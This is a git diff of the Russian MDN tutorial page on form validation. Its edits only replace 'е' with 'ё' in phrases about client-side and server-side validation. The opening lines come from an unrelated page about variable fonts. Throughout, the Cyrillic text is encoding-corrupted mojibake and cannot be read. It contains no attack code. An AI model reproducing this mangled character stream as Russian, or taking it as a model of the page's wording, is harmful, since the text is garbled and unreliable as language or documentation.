Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Π΅ ΠΈΠ΄Π΅ΠΈ Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ это ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ</p>
</div>
<h2 id="ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅_ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹">ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹</h2>
diff --git a/files/ru/learn/forms/form_validation/index.html b/files/ru/learn/forms/form_validation/index.html
index fcb841f313..4668beaac3 100644
--- a/files/ru/learn/forms/form_validation/index.html
+++ b/files/ru/learn/forms/form_validation/index.html
@@ -53,41 +53,41 @@ original_slug: Learn/HTML/Forms/Валидация_Ρ„ΠΎΡ€ΠΌΡ‹
<ul>
<li>"Π­Ρ‚ΠΎ ΠΏΠΎΠ»Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ для заполнСния" (Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ это ΠΏΠΎΠ»Π΅ пустым)</li>
- <li>"ΠŸΠΎΠΆΠ°Π»ΡƒΠΉΡΡ‚Π° Π²Π²Π΅Π΄ΠΈΡ‚Π΅ ваш Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π½Ρ‹ΠΉ Π½ΠΎΠΌΠ΅Ρ€ Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅Β xxx-xxxx" (Π²Π²ΠΎΠ΄ΠΈΡ‚ Ρ‚Ρ€ΠΈ Ρ†ΠΈΡ„Ρ€Ρ‹Β Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Ρ‚ΠΈΡ€Π΅, Π·Π° Π½ΠΈΠΌΠΈ ΡΠ»Π΅ΡƒΡŽΡ‚ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ Ρ†ΠΈΡ„Ρ€Ρ‹)</li>
+ <li>"ΠŸΠΎΠΆΠ°Π»ΡƒΠΉΡΡ‚Π° Π²Π²Π΅Π΄ΠΈΡ‚Π΅ ваш Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π½Ρ‹ΠΉ Π½ΠΎΠΌΠ΅Ρ€ Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅Β xxx-xxxx" (Π²Π²ΠΎΠ΄ΠΈΡ‚ Ρ‚Ρ€ΠΈ Ρ†ΠΈΡ„Ρ€Ρ‹Β Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Ρ‚ΠΈΡ€Π΅, Π·Π° Π½ΠΈΠΌΠΈ ΡΠ»Π΅ΡƒΡŽΡ‚ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ Ρ†ΠΈΡ„Ρ€Ρ‹)</li>
<li>"ΠŸΠΎΠΆΠ°Π»ΡƒΠΉΡΡ‚Π° Π²Π²Π΅Π΄ΠΈΡ‚Π΅ настоящий адрСс элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹" (Ссли ваша запись Π½Π΅ Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅"somebody@example.com")</li>
<li>"Π’Π°Ρˆ ΠΏΠ°Ρ€ΠΎΠ»ΡŒ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ 8 Π΄ΠΎ 30 символов Π΄Π»ΠΈΠ½ΠΎΠΉ, ΠΈ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΎΠ΄Π½Ρƒ Π·Π°Π³Π»Π°Π²Π½ΡƒΡŽΒ Π±ΡƒΠΊΠ²Ρƒ, ΠΎΠ΄ΠΈΠ½ символ, ΠΈ число"</li>
</ul>
-<p>Π­Ρ‚ΠΎ называСтся валидация Ρ„ΠΎΡ€ΠΌΡ‹Β β€” ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π²Π²ΠΎΠ΄ΠΈΡ‚Π΅ Π΄Π°Π½Π½Ρ‹Π΅,Β  Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠ»ΠΆΠ΅Π½ΠΈΠ΅ провСряСт, Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹Π΅ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Ρ‹. Если Π΄Π°Π½Π½Ρ‹Π΅ Π²Π΅Ρ€Π½Ρ‹, ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ позволяСт Π΄Π°Π½Π½Ρ‹ΠΌ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Π½Ρ‹ΠΌΠΈ Π½Π° сСрвСр ΠΈ (ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ) Π±Ρ‹Ρ‚ΡŒ сохранСнными Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…; Ссли Π½Π΅Ρ‚ -Β  ΠΎΠ½ΠΎ Π²Ρ‹Π΄Π°Π΅Ρ‚ Π²Π°ΠΌ сообщСниС ΠΎΠ± ошибкС, ΠΎΠ±ΡŒΡΡΠ½ΡΡŽΡ‰Π΅Π΅ ΠΊΠ°ΠΊΠΈΠ΅ исправлСния Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ внСсти. ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Ρ„ΠΎΡ€ΠΌΡ‹ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π° нСсколькими Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ способами.</p>
+<p>Π­Ρ‚ΠΎ называСтся валидация Ρ„ΠΎΡ€ΠΌΡ‹Β β€” ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π²Π²ΠΎΠ΄ΠΈΡ‚Π΅ Π΄Π°Π½Π½Ρ‹Π΅,Β  Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠ»ΠΆΠ΅Π½ΠΈΠ΅ провСряСт, Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹Π΅ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Ρ‹. Если Π΄Π°Π½Π½Ρ‹Π΅ Π²Π΅Ρ€Π½Ρ‹, ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ позволяСт Π΄Π°Π½Π½Ρ‹ΠΌ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Π½Ρ‹ΠΌΠΈ Π½Π° сСрвСр ΠΈ (ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ) Π±Ρ‹Ρ‚ΡŒ сохранёнными Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…; Ссли Π½Π΅Ρ‚ -Β  ΠΎΠ½ΠΎ Π²Ρ‹Π΄Π°Ρ‘Ρ‚ Π²Π°ΠΌ сообщСниС ΠΎΠ± ошибкС, ΠΎΠ±ΡŒΡΡΠ½ΡΡŽΡ‰Π΅Π΅ ΠΊΠ°ΠΊΠΈΠ΅ исправлСния Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ внСсти. ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Ρ„ΠΎΡ€ΠΌΡ‹ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π° нСсколькими Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ способами.</p>
<p>ΠœΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π·Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π²Π΅Π±-Ρ„ΠΎΡ€ΠΌ максимально простым. Π˜Ρ‚Π°ΠΊ, ΠΏΠΎΡ‡Π΅ΠΌΡƒ ΠΌΡ‹ настаиваСм Π½Π° ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π΅Π½ΠΈΠΈ Π½Π°ΡˆΠΈΡ… Ρ„ΠΎΡ€ΠΌ? Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Ρ‚Ρ€ΠΈ основныС ΠΏΡ€ΠΈΡ‡ΠΈΠ½Ρ‹:</p>
<ul>
<li><strong>ΠœΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π½ΡƒΠΆΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ Π² Π½ΡƒΠΆΠ½ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅</strong> β€” наши прилоТСния Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ссли Π΄Π°Π½Π½Ρ‹Π΅ нашСго ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ хранятся Π² Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅, Ссли они вводят Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΈΠ»ΠΈ Π²ΠΎΠΎΠ±Ρ‰Π΅ Π½Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ.</li>
- <li><strong>ΠœΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π·Π°Ρ‰ΠΈΡ‚ΠΈΡ‚ΡŒ ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Π΅ записи Π½Π°ΡˆΠΈΡ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ</strong> β€” заставляя Π½Π°ΡˆΠΈΡ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ Π²Π²ΠΎΠ΄ΠΈΡ‚ΡŒ Π·Π°Ρ‰ΠΈΡ‰Π΅Π½Π½Ρ‹Π΅ ΠΏΠ°Ρ€ΠΎΠ»ΠΈ, это ΡƒΠΏΡ€ΠΎΡ‰Π°Π΅Ρ‚ Π·Π°Ρ‰ΠΈΡ‚Ρƒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎΠ± ΠΈΡ… ΡƒΡ‡Π΅Ρ‚Π½ΠΎΠΉ записи.</li>
- <li><strong>ΠœΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΎΠ±Π΅Π·ΠΎΠΏΠ°ΡΠΈΡ‚ΡŒ сСбя</strong> β€” сущСствуСт мноТСство способов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π·Π»ΠΎΡƒΠΏΠΎΡ‚Ρ€Π΅Π±Π»ΡΡ‚ΡŒ Π½Π΅Π·Π°Ρ‰ΠΈΡ‰Π΅Π½Π½Ρ‹ΠΌΠΈ Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ²Ρ€Π΅Π΄ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅Β ΠΎΠ½ΠΈ входят (см. <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Website_security">Π‘Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ Π²Π΅Π±-сайта</a>).</li>
+ <li><strong>ΠœΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π·Π°Ρ‰ΠΈΡ‚ΠΈΡ‚ΡŒ ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Π΅ записи Π½Π°ΡˆΠΈΡ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ</strong> β€” заставляя Π½Π°ΡˆΠΈΡ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ Π²Π²ΠΎΠ΄ΠΈΡ‚ΡŒ Π·Π°Ρ‰ΠΈΡ‰Ρ‘Π½Π½Ρ‹Π΅ ΠΏΠ°Ρ€ΠΎΠ»ΠΈ, это ΡƒΠΏΡ€ΠΎΡ‰Π°Π΅Ρ‚ Π·Π°Ρ‰ΠΈΡ‚Ρƒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎΠ± ΠΈΡ… ΡƒΡ‡Ρ‘Ρ‚Π½ΠΎΠΉ записи.</li>
+ <li><strong>ΠœΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΎΠ±Π΅Π·ΠΎΠΏΠ°ΡΠΈΡ‚ΡŒ сСбя</strong> β€” сущСствуСт мноТСство способов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π·Π»ΠΎΡƒΠΏΠΎΡ‚Ρ€Π΅Π±Π»ΡΡ‚ΡŒ Π½Π΅Π·Π°Ρ‰ΠΈΡ‰Ρ‘Π½Π½Ρ‹ΠΌΠΈ Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ²Ρ€Π΅Π΄ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅Β ΠΎΠ½ΠΈ входят (см. <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Website_security">Π‘Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ Π²Π΅Π±-сайта</a>).</li>
</ul>
<h3 id="Π Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅_Ρ‚ΠΈΠΏΡ‹_Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΠΈ_Ρ„ΠΎΡ€ΠΌΡ‹">Π Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Ρ‚ΠΈΠΏΡ‹ Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΠΈ Ρ„ΠΎΡ€ΠΌΡ‹</h3>
-<p>БущСствуСт Π΄Π²Π° Ρ€Π°Π·Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠ° ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Ρ„ΠΎΡ€ΠΌΡ‹, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Π΅Ρ‚Π΅ΡΡŒ Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅:</p>
+<p>БущСствуСт Π΄Π²Π° Ρ€Π°Π·Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠ° ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Ρ„ΠΎΡ€ΠΌΡ‹, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Ρ‘Ρ‚Π΅ΡΡŒ Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅:</p>
<ul>
- <li><strong>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½Π° сторонС ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° -Β </strong>это ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°, которая происходит Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π΄Π°Π½Π½Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ Π½Π° сСрвСр. Π­Ρ‚ΠΎ ΡƒΠ΄ΠΎΠ±Π½Π΅Π΅, Ρ‡Π΅ΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½Π° сторонС сСрвСра, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π΄Π°Π΅Ρ‚ ΠΌΠ³Π½ΠΎΠ²Π΅Π½Π½Ρ‹ΠΉ ΠΎΡ‚Π²Π΅Ρ‚. Π•Π΅ ΠΌΠΎΠΆΠ½ΠΎ Π΄Π°Π»Π΅Π΅ ΠΏΠΎΠ΄Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚ΡŒ Π½Π°:
+ <li><strong>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½Π° сторонС ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° -Β </strong>это ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°, которая происходит Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π΄Π°Π½Π½Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ Π½Π° сСрвСр. Π­Ρ‚ΠΎ ΡƒΠ΄ΠΎΠ±Π½Π΅Π΅, Ρ‡Π΅ΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½Π° сторонС сСрвСра, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π΄Π°Ρ‘Ρ‚ ΠΌΠ³Π½ΠΎΠ²Π΅Π½Π½Ρ‹ΠΉ ΠΎΡ‚Π²Π΅Ρ‚. Π•Ρ‘ ΠΌΠΎΠΆΠ½ΠΎ Π΄Π°Π»Π΅Π΅ ΠΏΠΎΠ΄Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚ΡŒ Π½Π°:
<ul>
<li><strong>JavaScript</strong> ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° выполняСтся с использованиСм JavaScript. ΠŸΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ настраиваСмая.</li>
<li><strong>ВстроСнная ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Ρ„ΠΎΡ€ΠΌΡ‹,Β </strong>ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Ρ„ΠΎΡ€ΠΌΡ‹ HTML5. Для этого ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π½Π΅ трСбуСтся JavaScript. ВстроСнная ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Ρ„ΠΎΡ€ΠΌΡ‹ ΠΈΠΌΠ΅Π΅Ρ‚ Π»ΡƒΡ‡ΡˆΡƒΡŽ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, Π½ΠΎ ΠΎΠ½Π° Π½Π΅ такая настраиваСмая, ΠΊΠ°ΠΊ с использованиСм JavaScript.</li>
</ul>
</li>
- <li><strong>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½Π° сторонС сСрвСра</strong>Β - это ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°, которая Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ Π½Π° сСрвСрС послС ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ…. Π‘Π΅Ρ€Π²Π΅Ρ€Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅Π΄ ΠΈΡ… сохранСниСм Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…. Если Π΄Π°Π½Π½Ρ‹Π΅ Π½Π΅ проходят ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ валидности, ΠΎΡ‚Π²Π΅Ρ‚ отправляСтся ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΎΠ±Ρ‰ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ, ΠΊΠ°ΠΊΠΈΠ΅ исправлСния Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ сдСланы. ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½Π° сторонС сСрвСра Π½Π΅ такая удобная, ΠΊΠ°ΠΊ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½Π° сторонС ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½Π° Π½Π΅ Π²Ρ‹Π΄Π°Π΅Ρ‚ ошибок Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Π° вся Ρ„ΠΎΡ€ΠΌΠ°. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½Π° сторонС сСрвСра - это послСдняя линия Π·Π°Ρ‰ΠΈΡ‚Ρ‹ вашСго прилоТСния ΠΎΡ‚ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Ρ… ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ врСдоносных Π΄Π°Π½Π½Ρ‹Ρ…. ВсС популярныС <a href="/en-US/docs/Learn/Server-side/First_steps/Web_frameworks">сСрвСрныС Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΈ</a>Β ΠΈΠΌΠ΅ΡŽΡ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΈ очистки Π΄Π°Π½Π½Ρ‹Ρ… (Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ ΠΈΡ… бСзопасными).</li>
+ <li><strong>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½Π° сторонС сСрвСра</strong>Β - это ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°, которая Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ Π½Π° сСрвСрС послС ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ…. Π‘Π΅Ρ€Π²Π΅Ρ€Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅Π΄ ΠΈΡ… сохранСниСм Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…. Если Π΄Π°Π½Π½Ρ‹Π΅ Π½Π΅ проходят ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ валидности, ΠΎΡ‚Π²Π΅Ρ‚ отправляСтся ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΎΠ±Ρ‰ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ, ΠΊΠ°ΠΊΠΈΠ΅ исправлСния Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ сдСланы. ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½Π° сторонС сСрвСра Π½Π΅ такая удобная, ΠΊΠ°ΠΊ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½Π° сторонС ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½Π° Π½Π΅ Π²Ρ‹Π΄Π°Ρ‘Ρ‚ ошибок Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Π° вся Ρ„ΠΎΡ€ΠΌΠ°. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½Π° сторонС сСрвСра - это послСдняя линия Π·Π°Ρ‰ΠΈΡ‚Ρ‹ вашСго прилоТСния ΠΎΡ‚ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Ρ… ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ врСдоносных Π΄Π°Π½Π½Ρ‹Ρ…. ВсС популярныС <a href="/en-US/docs/Learn/Server-side/First_steps/Web_frameworks">сСрвСрныС Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΈ</a>Β ΠΈΠΌΠ΅ΡŽΡ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΈ очистки Π΄Π°Π½Π½Ρ‹Ρ… (Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ ΠΈΡ… бСзопасными).</li>
</ul>
<p>Π’ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ ΠΌΠΈΡ€Π΅ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ склонны ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΡŽ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π½Π° сторонС ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° ΠΈ сСрвСра.</p>
<h2 id="ИспользованиС_встроСнной_ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ_Ρ„ΠΎΡ€ΠΌΡ‹">ИспользованиС встроСнной ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Ρ„ΠΎΡ€ΠΌΡ‹</h2>
